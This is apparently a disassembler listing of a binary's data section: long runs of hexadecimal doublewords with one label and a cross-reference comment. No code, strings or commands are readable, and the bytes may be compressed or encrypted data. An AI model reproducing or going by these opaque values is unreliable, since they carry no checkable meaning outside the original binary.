		dd 5EAA2CF9h, 5A13D6BCh, 108CA006h, 8D7910E1h, 73070854h
		dd 0C0FC8A5Ah, 17465EDCh, 0DBE48701h, 73548965h, 5EA60188h
		dd 0D186807Fh, 29F0C076h, 0C5099C0h, 89170A68h,	31001097h
		dd 3904BF5h, 0C630731h,	0A09FC3E8h, 0DDB4A50Eh,	1D28527h
		dd 0CBE05620h, 1DB08BFAh, 80931144h, 3EB94B1h, 3D77F419h
		dd 2B805BB0h, 67BA369h,	553BC29Eh, 4493928Dh, 0EA03B0F3h
		dd 0D7CBBD57h, 0B29B30C8h, 65356100h, 0E18281CAh, 5B600B51h
		dd 9810D1E8h, 0B6558E07h, 0B8002AD4h, 0B9F7D36Eh, 7CEC9033h
		dd 41895AA3h, 65AC26C8h, 931BCDFh, 105EBC4Bh, 49FB01C4h
		dd 910B9406h, 1C005D5Fh, 4DC2E47h, 0D0EB18C7h, 1DF03591h
		dd 0A6504C78h, 0C42A0142h, 81E7D4C8h, 0D01897EAh, 78142909h
		dd 0A09158E0h, 51006E23h, 9A89A004h, 87E786E2h,	0FF3A5221h
		dd 39D6C9D0h, 0B5D104C8h, 400F0AF5h, 19333573h,	0BBF20088h
		dd 0B799E28Ah, 3E0940E5h, 52865298h, 43D34E60h,	0C5D74784h
		dd 4FC9B7A0h, 0ED03EE09h, 26B4F193h, 96AC2100h,	3B248D5Fh
		dd 5AB1BC40h, 13F5E6E5h, 0F69584EAh, 9D7EB3C8h,	502078A8h
		dd 0ADF88D13h, 0E80B58C5h, 9854C139h, 0AE100B6Bh, 64805450h
		dd 2E756774h, 4AF9953Ch, 5CAA7C82h, 58465C54h, 80C7F81Dh
		dd 5EBA4EB2h, 9524D05Ch, 6067C58h, 171C5B4h, 0B730E19Eh
		dd 508A0CA2h, 12D989ACh, 260B44Ch, 1F604757h, 3BE4E5A9h
		dd 0F50B7B20h, 10D7BD91h, 64071428h, 30E519FFh,	88FEF6A4h
		dd 2084E079h, 281D5B34h, 1620BD8Dh, 0B5EEFB3Ch,	0E282924h
		dd 0F39D8985h, 4B84882Ah, 1604313Ch, 23D07C31h,	0D2A8130Fh
		dd 0B908A42Dh, 9D01217Dh, 0A29A2A9Ch, 0A878B35Ah, 7C8C79BCh
		dd 4156069Dh, 8111D2A4h, 8B1B498h, 204EE58Fh, 0C66C8930h
		dd 7B070164h, 0CCEE9D35h, 41B1430Ah, 18A8D4h, 484FBC2Dh
		dd 0EAA8744Ah, 62D8003Eh, 63855F9Dh, 11C41B57h,	23609661h
		dd 7310B175h, 2606D95Eh, 4140B784h, 60CEF75Bh, 0B0282938h
		dd 1B684458h, 0ED00FF77h, 0A5A6F9E6h, 5EFA8Bh, 7BC88C3h
		dd 3294A475h, 9FB9E4A0h, 68AE498Ch, 3E0083B8h, 0FE2D2801h
		dd 39849F2Eh, 8809A726h, 9907ADB1h, 0AC04B4D1h,	4305BC04h
		dd 0B91900F4h, 474CF9A3h, 0E8620524h, 9BBD18D9h, 0E57F8154h
		dd 0D6C209FDh, 0FB215EA0h, 0A7ED89B9h, 0A2006479h, 6F20280Dh
		dd 24FC00F0h, 4EC1DB9Dh, 0FB7E9C2Eh, 0CDAE2105h, 688E69F1h
		dd 90C05F88h, 2C8BB19Ch, 1327887Ah, 0C84C8EF6h,	2277C0AEh
		dd 547BF85Ch
		db 0B7h, 4
word_505446	dw 3EE3h		; DATA XREF: ___:off_435E08o
		dd 5114C4F9h, 5B8084B0h, 4E67EEA2h, 65DFE81Ah, 806CD191h
		dd 96106E2Eh, 8400E7EAh, 0D0D777F2h, 1894C2Dh, 8CE674B7h
		dd 342EF185h, 0EB22B308h, 5FD17F5h, 0C5E88711h,	0FC0C00F4h
		dd 670EC87h, 9CB28B73h,	0BBE69802h, 5642BAD2h, 8B0789F0h
		dd 155C7C52h, 817A9C60h, 89FDD15Bh, 945406F1h, 87BCC8A8h
		dd 9D0E0343h, 988014F0h, 35DAFAF1h, 0A9C01579h,	0BD2F8326h
		dd 0C98C2451h, 7CE5A70Ch, 396310E4h, 16978880h,	0BD523C01h
		dd 0E9E85EE5h, 0EDAC312Fh, 9D907C8Ch, 51146E04h, 0CCADE680h
		dd 0D8310B06h, 988BA2F1h, 5EE40CC5h, 0D7402B60h, 64A1F125h
		dd 5AFA10h, 0CD347B0Ch,	0D1EAC3A8h, 857C3138h, 5948CE7h
		dd 0E2F8A4h, 0BC1F07A5h, 0B1928BD1h, 0EB68460Bh, 88D8EB3Fh
		dd 591A2D99h, 0DB4B5010h, 84938044h, 2DB2EA4Fh,	0BC64F813h
		dd 0FDD3F007h, 0B3107752h, 0B263F09h, 0A239EC6Ah, 558ECDAh
		dd 244C808Ch, 133892h, 69F51DBBh, 0A221A027h, 8458D7E8h
		dd 0C82F4E98h, 21026F23h, 4785292Ch, 6711E408h,	986681A0h
		dd 0DD370685h, 0D0196841h, 0AA886F40h, 0FCF600ECh, 5AD00B27h
		dd 0A450D005h, 0E72EC0AEh, 0A3129C47h, 41F64C89h, 0B2154EC4h
		dd 387F124h, 5E00660Ch,	9E47D30Ah, 582F50C5h, 0C3C01815h
		dd 7F45DF5Dh, 3C01057Fh, 0EC9AA712h, 6428CAB9h,	10302F5Fh
		dd 0EFC0B817h, 0DFAFFACDh, 89CA4402h, 791AF678h, 82700BCh
		dd 3A50EE30h, 0B02A7F07h, 7930ECF8h, 1670D522h,	0B2BFE763h
		dd 3078F220h, 0E5530CEBh, 0FFEC00B0h, 5F665095h, 0EC2072F8h
		dd 0C2A72F8Ch, 9040E06Fh, 592A4h, 0CE696A07h, 0EBE8585Ah
		dd 16A49886h, 0B405BFF6h, 0D748B230h, 4840136h,	63B49DCBh
		dd 38B090C4h, 56802ED9h, 0B57789D0h, 9F01F868h,	0FB13693Fh
		dd 402B0BBFh, 235CE870h, 450785EBh, 7880372Ah, 5B06F6A3h
		dd 777CCD21h, 0C8A827C4h, 5AD1A354h, 5BA08AEBh,	80D7F408h
		dd 5EF6F378h, 25069886h, 97D97533h, 9AFD2D28h, 5DC4C0E5h
		dd 1811A067h, 0B20FA3C5h, 20A0FB8Dh, 6AC1E85Ch,	52A2002Dh
		dd 20E56030h, 0DA626707h, 0D2EAB389h, 918AF830h, 95AA0990h
		dd 79914897h, 0B84F580h, 0C49E1A74h, 494AD380h,	92395Bh
		dd 272BA7C4h, 8302AFF9h, 1AE5C803h, 0DA4865AEh,	70C859AAh
		dd 3863B5Eh, 0D3EE231Eh, 1901620Bh, 29AA48A4h, 0D5F47675h
		dd 0B5950037h, 4ADEF938h, 0F81CFE2Ch, 0C5271002h, 0B9FBE214h
		dd 38F50D18h, 989389C1h, 0F174F2B8h, 0D80DF405h, 42CF557h
		dd 9E064755h, 541531Bh,	0EB74ABACh, 9C00AFDFh, 4A869704h
		dd 2CDA7AC4h, 74686E16h, 8B3C4B21h, 0C683F0B6h,	77B0351Ch
		dd 882403EDh, 0F54504B1h, 591AB098h, 0F024CEAh,	0FEC4897Bh
		dd 0E876946Ah, 2AE215Ch, 5FCA4880h, 0C256D984h,	5BEDB349h
		dd 0B421D0F2h, 6811B2h,	0CF51C013h, 0AE3552h, 4FBBA05Ah
		dd 4691E84Bh, 6481854Ah, 31877C3Eh, 0A40C74A2h,	0CE90Bh
		dd 0B17F56B6h, 31A096h,	0A26D7C3Bh, 24DF681Eh, 882298B8h
		dd 0F0B319E9h, 2D2991FAh, 514201A4h, 0C3085913h, 2C65B060h
		dd 2788D83Fh, 6421CE7h,	8F5E18F4h, 78167F01h, 6F2C916Dh
		dd 0ECC58884h, 6B24F414h, 9F05F105h, 74C4C65Bh,	0FAA23CF3h
		dd 1DF76A30h, 31291B36h, 60055519h, 0F516AC1Dh,	89BC9D93h
		dd 0B2E46500h, 74A4669Ah, 0A0291E14h, 288AD374h, 5C178C8h
		dd 4C309CBAh, 0EBD00A1Eh, 4ED46A38h, 72394F20h,	44092B47h
		dd 85780ED8h, 0E883F7CCh, 51291766h, 6C49286h, 24831C56h
		dd 0C846B4C0h, 6D30437h, 0ECDA613Ch, 5400786Eh,	0DBB1A3ABh
		dd 5917BCFDh, 0FC811C59h, 40EEF02Dh, 0BD0B3638h, 0C06CC095h
		dd 7CC548F5h, 7EEE6441h, 7419D6FCh, 0F4719028h,	3FED8861h
		dd 97746F8h, 0F5FEF17Ah, 20058005h, 0E881C888h,	290753Fh
		dd 7BB36E9Fh, 685A91h, 0B970BBA7h, 0C04FF5AEh, 26DF30Fh
		dd 8604C9A6h, 0E292741h, 3E7A5FB7h, 9FD12882h, 2B11E099h
		dd 0FA10E03Ah, 5DDDC0B9h, 0B4080C99h, 0B4C8080h, 0EC93F4E4h
		dd 0FE7B1802h, 306F1Ah,	909D9B15h, 69CB5200h, 0ED8F5640h
		dd 0A18387Eh, 6700CAB8h, 244E87E8h, 480EC680h, 0A076A854h
		dd 37E4D26Ch, 1F120063h, 0DEB74B17h, 18C062C5h,	0C7422277h
		dd 201C5778h, 7BF1982h,	9022D900h, 3E62E8DBh, 0FD8AB17h
		dd 0EA45401h, 0F0E2A769h, 0BC0058C7h, 0F24C1449h, 0F2D0AC7Ah
		dd 0A5DBE257h, 75813020h, 10828104h, 7C61D114h,	13C91F6Eh
		dd 0B004005Dh, 729EEE0Bh, 0E4D75300h, 0AA2D580Dh, 0A5B730Fh
		dd 0AB27B7EAh, 1B08B234h, 0B93680A2h, 0F0A02137h, 205CFD68h
		dd 580F00E4h, 9EE33D46h, 0A7014BABh, 9115B018h,	8A10C2F8h
		dd 855563FCh, 4EC0C0ECh, 485386F7h, 150058FBh, 0C32F2C8Dh
		dd 9569A58Bh, 29A48C29h, 5D85209Ah, 9311B142h, 28482890h
		dd 29C487E8h, 69442F65h, 424C4892h, 492480DFh, 139CD221h
		dd 0FC468C10h, 7D50A1E0h, 9E449614h, 0DCD98934h, 2600BB83h
		dd 9AE5FFB7h, 8027FBh, 7DC5EFE4h, 9C65D582h, 1ADAB800h
		dd 0F9B27148h, 1226009Bh, 0F3C3BF34h, 9500E291h, 0A09A455h
		dd 0B11920h, 0FD5948A5h, 73F14247h, 1E85E93Ch, 8481AB1Eh
		dd 0C0B1A79Ah, 0EFE2C4h, 34A28142h, 0BC10DE12h,	0B60759EEh
		dd 4C37B258h, 0EC0F9E50h, 0DEF60022h, 0ED3EA2ABh, 0D6036319h
		dd 75DB4C3Ch, 66FDD827h, 7E9B0017h, 0FE088037h,	0BA000374h
		dd 0C1C3F056h, 94E318h,	90D65DAAh, 6D305F77h, 5100647Ah
		dd 545368ABh, 7E38A2B5h, 1DEF0EFh, 0F808EC14h, 0CC0D3610h
		dd 0A5038C5Ch, 0E75B890Ch, 0D611000Eh, 23272801h, 4E3F1D6Ch
		dd 6018E032h, 0E3709834h, 0A430D8h, 0BB878326h,	8A17BD02h
		dd 20BF4D00h, 0F9FD9969h, 0E0E861h, 0B1F7D0CDh,	62E39825h
		dd 0A3D16600h, 5DF92F71h, 0E8EA01EEh, 0FA1AB1D8h, 9B3570D4h
		dd 3A706D00h, 8C60595h,	5FCE267Dh, 0ACF100C8h, 40396CB1h
		dd 8557AA00h, 5DA50E6Bh, 0C2C305F9h, 40C597B3h,	94C9ABCh
		dd 2F00DE1Ah, 259ABE1h,	0C7FFA0h, 0E5F10663h, 0C448EF93h
		dd 78EBF900h, 0BB1220B8h, 3E5300E3h, 5EFD022Ch,	0AC007FE6h
		dd 0CCC374CDh, 58DFB826h, 0A3050766h, 0F28BD6h,	9E4FA8Ch
		dd 4349B32Bh, 78DE06B8h, 21D0A3h, 752983ADh, 0A41F529Eh
		dd 74CF3Dh, 0CDE4B6DFh,	39421ABh, 0DC504E43h, 0E8B17A25h
		dd 13EFE868h, 312B9600h, 0FB8714B9h, 4A500C8h, 0D0433010h
		dd 0D2C0D3BAh, 86055C1Ch, 0F8DB4DAEh, 8B3FE50Fh, 6F728260h
		dd 0BF0015D3h, 0F66DE746h, 0A1FC5B56h, 98310A8Ah, 7E65EC80h
		dd 5066D481h, 0C95B9000h, 29C37B20h, 0B99E07C8h, 7064A657h
		dd 8AA2EBEh, 0CABB9F07h, 63437F8Ah, 0B4F0B04Eh,	0CD300050h
		dd 3DA322C3h, 0CB336E33h, 0E8C0B849h, 2A84A66h,	0F901A58Dh
		dd 0B48961ABh, 50846880h, 0B100AE74h, 73A11846h, 1C7B4741h
		dd 432E886Ah, 0D4C3FBB8h, 528001C8h, 0DB18741Eh, 4EA30980h
		dd 0BEC97C4h, 5BABA196h, 89E58820h, 44061D88h, 0A3FDA525h
		dd 7F5700B0h, 653CED64h, 97000F05h, 848E733Bh, 96F03ACh
		dd 452CD55Fh, 5CC8F000h, 0E5010EBDh, 0C602E0BFh, 41FD3D19h
		dd 0ACF9F4h, 0A203B68Fh, 4C5F0632h, 81BFF300h, 838A48ABh
		dd 8EB702B1h, 0CEC1AA1Bh, 26CB8CA0h, 0BD02F6DCh, 5FF74564h
		dd 90904091h, 231709C4h, 78021CD0h, 64785665h, 78ADD924h
		dd 95206E80h, 1DE0E367h
		dd 2C15A06h, 8755B6C2h,	0DCB4CC80h, 89250363h, 0C1F3072Dh
		dd 1AAEFBA0h, 30510091h, 0B610020Bh, 3602DCAAh,	0CDB9048Dh
		dd 0E81DE331h, 0FABD907h, 0CA95755Fh, 0F66E7EE0h, 5C24B074h
		dd 1D078FD1h, 319092D8h, 2304EE8h, 0C0446346h, 5458BCE5h
		dd 0A78F1E02h, 60A19F62h, 0FE4EDBBFh, 6B35001Ch, 0C68BF2FBh
		dd 0EC1EDE02h, 84F5E19h, 2A9A2071h, 3B1F77h, 0DAFED748h
		dd 0A1C8C969h, 0F4CB5E4h, 6CB403BCh, 0C8304531h, 9056F9CDh
		dd 174D0AF8h, 3808462h,	6CA08849h, 76E689D8h, 0CB989AF4h
		dd 0DE5030FFh, 52736502h, 8F0D2AE0h, 6FD420EEh,	7421CA34h
		dd 46CF1EEBh, 0C99A0193h, 0FCFB41DFh, 0FC3D67EEh, 451F0385h
		dd 0F0F161D0h, 60DB2A72h, 0C616463Fh, 0FD009CFBh, 34D39DCDh
		dd 5998F4Fh, 9FBA37BBh,	9EAF8754h, 0E96906E0h, 59000A72h
		dd 4FA58662h, 0F38237Dh, 1148B90h, 95F546C0h, 0D2004BFAh
		dd 44F21BEDh, 252CEF7h,	2541723h, 0C8C0D360h, 0BF2CF982h
		dd 6A04EC33h, 2AC08043h, 0ABB33Eh, 56A38917h, 547B26F8h
		dd 1439DE58h, 7FEE519h,	8FDB2E0Ch, 0B277F980h, 98FA38h
		dd 3E3F59D3h, 83EBC9F8h, 0CDED1402h, 68F061A2h,	16AE3D24h
		dd 0F77D1Dh, 27DF5458h,	6B009690h, 0CEB43040h, 0C3CBB3h
		dd 0C15F1B8h, 1D1C21C9h, 0D3A33300h, 745A7911h,	0EBF227E2h
		dd 18079CFCh, 0FD427C54h, 50460B1h, 97D7A3Dh, 9845D8ECh
		dd 0D4441480h, 8507559Eh, 0E620A787h, 6BF8F690h, 51BC0412h
		dd 8072401Ah, 3EC3D4E5h, 66AA1407h, 2831418Ah, 8CF849BCh
		dd 2472005Ch, 3F4C3813h, 1902F40Dh, 30B6CCDEh, 289380BAh
		dd 0FDC4016h, 7F01C248h, 0CB6CAE07h, 0B3A21780h, 5000305Eh
		dd 74CA2437h, 3827CCFh,	0F3CA592h, 0C000B23Eh, 8F69FBC5h
		dd 0EB5B9F8h, 0FF2D3AF5h, 3F8EDAA0h, 0E37CED2Ch, 0C7AC700h
		dd 3AEA0548h, 85090E1Ah, 1D7C6923h, 6AD845E2h, 0DDF48039h
		dd 900044ABh, 0B75357E0h, 27F37F89h, 5440CF8Dh,	0D47C6F6Eh
		dd 0AF12BB00h, 8EAD1A57h, 908C4D62h, 6848C480h,	0D202288Fh
		dd 6C54E0A2h, 0C40C08Ch, 94EE002Dh, 0FE254CA0h,	1250377Fh
		dd 8402AEFCh, 0DF45AD44h, 51B0481Ah, 0E47F005Ch, 303EF9CFh
		dd 3F00A3C7h, 0B9DA61FFh, 75E1379h, 0EBBF0666h,	702180F1h
		dd 55129FBEh, 14008C1Fh, 0B4908319h, 409917FFh,	86A030CEh
		dd 0BB2C7EC2h, 5A00F455h, 0FD6BFB8Dh, 0D7650192h, 44D0945h
		dd 5535D41Dh, 1F000898h, 87D988Dh, 0B0F5CE2h, 75CBF118h
		dd 2F45FC00h, 5300D7AAh, 4B10287Eh, 501C40F8h, 9788E7h
		dd 3C554A33h, 48352598h, 86C0C717h, 0FDA8C8C0h,	36C324D9h
		dd 0B3E4090h, 5800D59Ah, 532D3538h, 24C84355h, 80ACDFA9h
		dd 3AF8CEE4h, 351C9047h, 0EDE97D8h, 49155EC0h, 8E2120h
		dd 0B7C1ABFBh, 25C7A69Eh, 8BD18C00h, 0B294CC01h, 3BD01EF8h
		dd 8AA28085h, 0DD86D9CAh, 0F2562000h, 5BBE58EFh, 9EE30h
		dd 229243F9h, 67A01A19h, 0B7E9CF09h, 0B67848F6h, 27E1030Ch
		dd 0F35C0B1Fh, 60FD79B0h, 169CC4Ch, 0E77DA693h,	5AFC12F5h
		dd 2D6600E2h, 0B7034EC5h, 70B03FD5h, 181CEA02h,	0C3A6129Ch
		dd 5C1C4A0h, 0BDF44A0Bh, 0A1FE93h, 0C9A3829h, 8A35D534h
		dd 0B89F3B00h, 0DEA31F5h, 89220049h, 0A71B46ACh, 2DE0C5B0h
		dd 0C7126A7Eh, 0FC074FD2h, 3040A93Ch, 1D0766BCh, 0C3FF08h
		dd 0A1CAE0C9h, 2100C820h, 8ABCF7CDh, 0BD246C7h,	0AA0A0176h
		dd 0D507C078h, 0B5CDDDB9h, 942D7850h, 61A0F6Bh,	6D40146Eh
		dd 4C5B3555h, 1D632B02h, 0C2939C8Eh, 0D522606Ah, 17C10152h
		dd 0B9FD0D29h, 51C9C7B0h, 0D180401Eh, 0AE4AC95Ah, 0D473430h
		dd 146FE80h, 0E27D76C5h, 0FCE5B563h, 0DB268E94h, 590263C2h
		dd 0E09123E3h, 1EBB3EDCh, 80279ACBh, 88BFF039h,	297513B4h
		dd 43000FF0h, 0CFFB8AE2h, 3BEBE34Ah, 0BA3D55B1h, 25465E00h
		dd 429CC39Dh, 58702C0Fh, 0DDF9813Fh, 4C3C4847h,	42BC1017h
		dd 522ECF38h, 0ECFA64C1h, 0EB2EC26Ah, 5C022C95h, 0C045FC19h
		dd 94B59720h, 724A016Ch, 0D0624F4Bh, 140935BAh,	400D75E6h
		dd 0AC791Ch, 435350AFh,	0E1A1BAC0h, 625F5200h, 0D361DAB2h
		dd 6D6E00D2h, 4E76CE2Ch, 2A006AF2h, 8093621Ch, 16AF3BE5h
		dd 9832B5h, 0CFB8825Ch,	0A23FB033h, 20B301B6h, 0EFD6AEEh
		dd 0B012B2E0h, 29E300E4h, 89587BC4h, 5B284342h,	69008180h
		dd 68C3F8C6h, 1F11FAB4h, 4088A6D1h, 245C7779h, 8001F28Ah
		dd 0ED2EC986h, 0D4302FDDh, 85B40FD6h, 3C20B532h, 44A34F10h
		dd 840A392Ah, 61024900h, 14651612h, 0FFEC00F8h,	0D72AC8B8h
		dd 79B80B91h, 8106053Dh, 42126798h, 89ECAFC1h, 56EB13A7h
		dd 0AED4C00Eh, 81000F32h, 0A6F4CFF8h, 26CE755Bh, 49C8CDA1h
		dd 2A8940A0h, 8200E84Eh, 2D15ABE2h, 358ECCh, 55AF6BCDh
		dd 3EE5C163h, 0C875430Fh, 530092ECh, 0E1B14084h, 39E409B8h
		dd 0A890E947h, 6E501A6Ch, 0FB00339Ch, 0EF1BB29h, 0A505FFh
		dd 0D75C9C21h, 8CD0C73Dh, 6FE45900h, 441BDC71h,	780B1C45h
		dd 3CC1C7F5h, 8EDD5069h, 504862C3h, 0C460020h, 22419D31h
		dd 1FA17BD2h, 52B768EFh, 5B2800A3h, 0F543FFAh, 8C5FD0Eh
		dd 2CC0533Eh, 3FE6E214h, 84174A6Dh, 57BC30BCh, 3C164061h
		dd 240080D6h, 82BA4B2Fh, 108D60D4h, 0C7344AF8h,	0E300C9F8h
		dd 719BDE65h, 7CCA80C2h, 3B131EFEh, 0F640402Dh,	4BE68361h
		dd 57D37F00h, 0BFC9A67Ch, 0C12707FCh, 0F0B9EE55h, 96F70992h
		dd 14543503h, 0D05B2C39h, 440DB2Fh, 702E7408h, 6D0080BAh
		dd 0B414CD64h, 13996ED7h, 0F020E797h, 7DA5B7h, 4617BD6Ah
		dd 44258563h, 880E65Fh,	3173B82Ah, 76B836D5h, 976460EAh
		dd 4DEEC4FAh, 96A5D000h, 0CBAB8D6Dh, 4B22F6B8h,	2F184EA9h
		dd 0D2AB626Eh, 0F9B47080h, 713C5024h, 7F800B0h,	0EB3047EEh
		dd 0E45E4CC2h, 0A845E314h, 7C73C480h, 1600CFB0h, 0E2099582h
		dd 2C7D4A72h, 943AB4h, 79991E5Ch, 0FF0010A7h, 78550269h
		dd 313050h, 0BFE3E15h, 0CA970A33h, 254FA800h, 4BFB9A86h
		dd 524C0057h, 0E3099E1Ch, 0D6006FEDh, 0BE63A0F7h, 4625E9h
		dd 5E33F44Bh, 0B50C802Dh, 7A7BE200h, 12D39986h,	0C098ECh
		dd 2741DFD6h, 9BF8EEBh,	7FA45D01h, 867249C5h, 8A44007Eh
		dd 0C6FE9399h, 16DE2C00h, 0F0F96A47h, 247729h, 3505B2EEh
		dd 2BC5E88Dh, 7DE45800h, 0E356AF0Ah, 744C0782h,	0F0EEE2C3h
		dd 44999324h, 0D8A0B154h, 4E406858h, 0FB8D000h,	3B06FECEh
		dd 1DB96552h, 355A4C80h, 3650CCCBh, 4B89D702h, 40F47998h
		dd 7AE520h, 3927D664h, 321FF838h, 3AECED00h, 5CF3CC9Bh
		dd 0D89E07EFh, 7F252C45h, 0F5138140h, 6200E03Bh, 0F122EF6h
		dd 610507h, 0BDA9803Ah,	3ED2B59Ch, 0B69F4D2Ch, 0B9D67B00h
		dd 0F46920BEh, 374900BFh, 33FE7E02h, 2C027DAFh,	4029C484h
		dd 148B6889h, 0FD5248F1h, 0F63C7300h, 0D2D66294h, 0C8480C00h
		dd 46DC2710h, 28D10014h, 0FEDD543Ch, 7400FD84h,	0D25C1A6Fh
		dd 779B308h, 0FB3664A4h, 0A300F910h, 71598A80h,	35FA0A00h
		dd 0D98F5F3Dh, 1192782h, 6D642400h, 0D300ACB7h,	0CEF4F1AFh
		dd 5B18781Fh, 10B48239h, 0E11B29E1h, 552DC441h,	0D2EFE703h
		dd 0A886819Ch, 1FE1C9Ah, 66C0B16Eh, 0D440D570h,	430FEBE6h
		dd 3C272Fh, 6B974D82h, 0C7980B85h, 98812550h, 256FA863h
		dd 0E04B307Ch, 142FA600h
		dd 0A5F33E55h, 98160027h, 28E2EB8Ah, 1800D46Ah,	891C5120h
		dd 0A04E52B4h, 3A654FE8h, 1B380DD3h, 0A0D482Eh,	0D4D0D7h
		dd 7A8B838Dh, 3100F64Eh, 4358D6EBh, 658AAEh, 0E4E35CABh
		dd 3D60BDB6h, 0F6872F01h, 0E27462DCh, 3A09120h,	38486916h
		dd 6C025FAh, 9C003E27h,	0A6BF3DEAh, 0C0AD0Ah, 0F5D1C834h
		dd 0F3EC0E2Fh, 0A8EEAF17h, 899C8C09h, 0AEE8806Dh, 0B8B8350Fh
		dd 457172h, 6EE4A9Dh, 27825B2Bh, 0FCBCE2F8h, 56DF813Dh
		dd 6AB072ADh, 1D9EEB30h, 878D6095h, 0F09BF6ABh,	2EF92932h
		dd 17688F00h, 0BB0A7661h, 644F5D67h, 0FA5A2F01h, 0CC8D1078h
		dd 0B17317A5h, 0B2DC2416h, 4B526CC0h, 0FE91003Eh, 0B94AD019h
		dd 0FC4B7AE1h, 62300400h, 0BE7311h, 2C0386BDh, 9CBFD2CDh
		dd 5135CF00h, 1397B118h, 5E640002h, 1E82F5B4h, 9905CDF6h
		dd 0ABAC93B9h, 0C20F90C0h, 0BD263ACFh, 0FC046180h, 0CB2996B7h
		dd 1F8E4738h, 0A0808BEAh, 0F9AB76F0h, 7B021B66h, 0FA15AB1h
		dd 9D47D867h, 3B9B3400h, 0A9B950C8h, 49820046h,	9FBB4412h
		dd 0A51F31E7h, 2B458E28h, 3B818D5Ah, 9BF49069h,	0B36700E8h
		dd 4A03951h, 427A1646h,	0FD552E00h, 5E66B95Ch, 7E9800C0h
		dd 979333FAh, 299F612Ch, 36E2813Ch, 82CCB0CAh, 8DAE07CDh
		dd 0BE4C95A0h, 9CFAB640h, 0A500834Fh, 0C781C9CEh, 33BFABh
		dd 0DD7DDAB5h, 0C87161B2h, 93E8F800h, 0F4C9A184h, 9E5902D0h
		dd 0CBED1165h, 88877456h, 3BC05FC8h, 0E034F94h,	636F685Dh
		dd 96F391C0h, 0EB1EB83Eh, 0ECC1E754h, 6E058E1Fh, 1883A986h
		dd 0B4034907h, 658B4F8Dh, 4282A0AAh, 5CEB01C4h,	0B34C0AE7h
		dd 1CB060ADh, 2DCFEE06h, 1FB4B531h, 54E5727Bh, 382648CDh
		dd 0E0630716h, 6C587082h, 41256B71h, 0BD58C8F6h, 1CF4ED24h
		dd 15A11F43h, 0E83480AAh, 8E2EEC6Eh, 0CF500454h, 0D5000A42h
		dd 8A9F8B4Eh, 630A404Fh, 60B68323h, 6EC0881Ch, 46E4228Eh
		dd 0CCEC0029h, 7CE5F717h, 7F04BDB7h, 3ABBF3A1h,	91CE0E8h
		dd 345100F9h, 5397283Bh, 0D1166CFAh, 3004EEFh, 92F74D2Dh
		dd 56260017h, 5F981999h, 7500FF6Dh, 6E3FAAB5h, 0B181FEh
		dd 0CD705B90h, 0BA67699Ch, 4311780Fh, 44BCE04Fh, 0B9F2503h
		dd 518F1399h, 596B3C01h, 0AD4EDC3Bh, 7006640Bh,	75205C04h
		dd 0E03124D6h, 0F0B21673h, 291EF8CCh, 0A240248Eh, 0E03A2D9Ch
		dd 2067607Fh, 7E4B9188h, 0FE4A0AE0h, 0D30198F2h, 0BA255C5Eh
		dd 749030A3h, 79912D0Eh, 88272004h, 9842F67Bh, 4CF80F58h
		dd 56006695h, 1A83672Fh, 40AC209Dh, 39796434h, 0BB80100Dh
		dd 50161E7Ah, 0B8E0955Fh, 0EBC5D818h, 1054070h,	0FF11E431h
		dd 6F8545BFh, 0F8358020h, 283C6049h, 118C506h, 2C54C10Eh
		dd 3F66C0AAh, 0FADFEAh,	574A2BFh, 0B8BE5250h, 0B10289EEh
		dd 299F19DCh, 0EB8C84Ah, 0C943031h, 0D97BB868h,	5CCE4410h
		dd 89826906h, 0C4021145h, 565EC340h, 1AA890D0h,	195EAECh
		dd 1CE3CF4h, 3064B3E2h,	4400524Ch, 0A7890C29h, 3B427D03h
		dd 0F18A2E9Dh, 16B05C02h, 1A8A2B3h, 0E0562BF3h,	58896872h
		dd 0F0D28906h, 77243800h, 6DC03F65h, 0ABF15FEh,	0DE03F0FBh
		dd 0C4B11691h, 8BA00DFBh, 1B0E9DACh, 0E00BF596h, 29427510h
		dd 0F0C26076h, 6FF9269h, 0CF0A010Eh, 3749C5h, 39F59704h
		dd 76BC3BE2h, 553D0282h, 9457E9E8h, 545900C4h, 0D17DCEE0h
		dd 1C009DD4h, 0E31B7506h, 5D37A4Fh, 9C883657h, 16148805h
		dd 768D39h, 0ED6D4614h,	0E3A7BB0h, 21847342h, 5EEEE3A1h
		dd 0E88C6A39h, 908B4F07h, 0F184A384h, 8CD57F00h, 0C422A4Fh
		dd 93DE68Fh, 10C9F7C3h,	805D5C09h, 8215B330h, 0B2944EBDh
		dd 0FB5800ACh, 14362BD3h, 0D9C07E6h, 80A7D13Eh,	30EB9610h
		dd 510054B1h, 0EEA2BEB6h, 57050F17h, 0C8B4DDF0h, 78374Ch
		dd 702FB126h, 0B33BF3FFh, 1ABDF3Ah, 0F26602C3h,	0EC4149D6h
		dd 10800368h, 0FE5B9E3Ah, 3E8A055Fh, 1D4B1804h,	97C91054h
		dd 29134C00h, 95A76963h, 468D01B6h, 3CA87A11h, 57D4703Bh
		dd 0F3D80300h, 7CD1DA6Dh, 0DC2803F8h, 3CC9985Bh, 706E3888h
		dd 371B0B00h, 28F31CEDh, 0D8DE0357h, 0E5F5B035h, 0DD4A9DC8h
		dd 6E625E00h, 0C8165F6Fh, 3D0407ECh, 0C05D2132h, 0E63AC972h
		dd 12128C39h, 0B802FAAAh, 0F6568DCDh, 0D86C00B4h, 0B644B86Eh
		dd 4DA1B000h, 6332FAC5h, 0CB17034Eh, 125B9EBh, 2454D2D0h
		dd 0C4C95D00h, 1E039BB3h, 0A07200F2h, 1182EA9Fh, 0FE00D538h
		dd 0CE91BC25h, 53BB39h,	0C1970973h, 85DE66B6h, 9D60163Eh
		dd 0E98001D1h, 0A545C5FFh, 0F2AE272h, 1B6CA114h, 7406F3C0h
		dd 8DF67B3Ch, 0F0FB7007h, 0C7303B72h, 0A09718h,	0E15BF9E3h
		dd 34E54F11h, 0C1F2AD00h, 0B89F60DBh, 9A0B037Fh, 15C32326h
		dd 40AF30A7h, 3F8C7E1h,	7385FC00h, 75133AEFh, 2A781D70h
		dd 80888082h, 0AA454A12h, 0D04D080Eh, 0D6EE0034h, 5A1DF9Ah
		dd 914675EAh, 99F4003Bh, 0ED62153Ch, 0BAB9870Eh, 7FB280EEh
		dd 0F4CD33DFh, 2953007Ah, 0A3A1A7CCh, 0A0003BADh, 0BF493F08h
		dd 0F46A0Ch, 5D1396B7h,	0CDEB4CEEh, 0D818630Bh,	0E1608007h
		dd 1EC9CC20h, 80A83865h, 0DFBC2CDDh, 32078BF5h,	6BE1BF4Dh
		dd 0F4E511F0h, 955FE46h, 7CA3DA3Bh, 0CFF70600h,	8600D001h
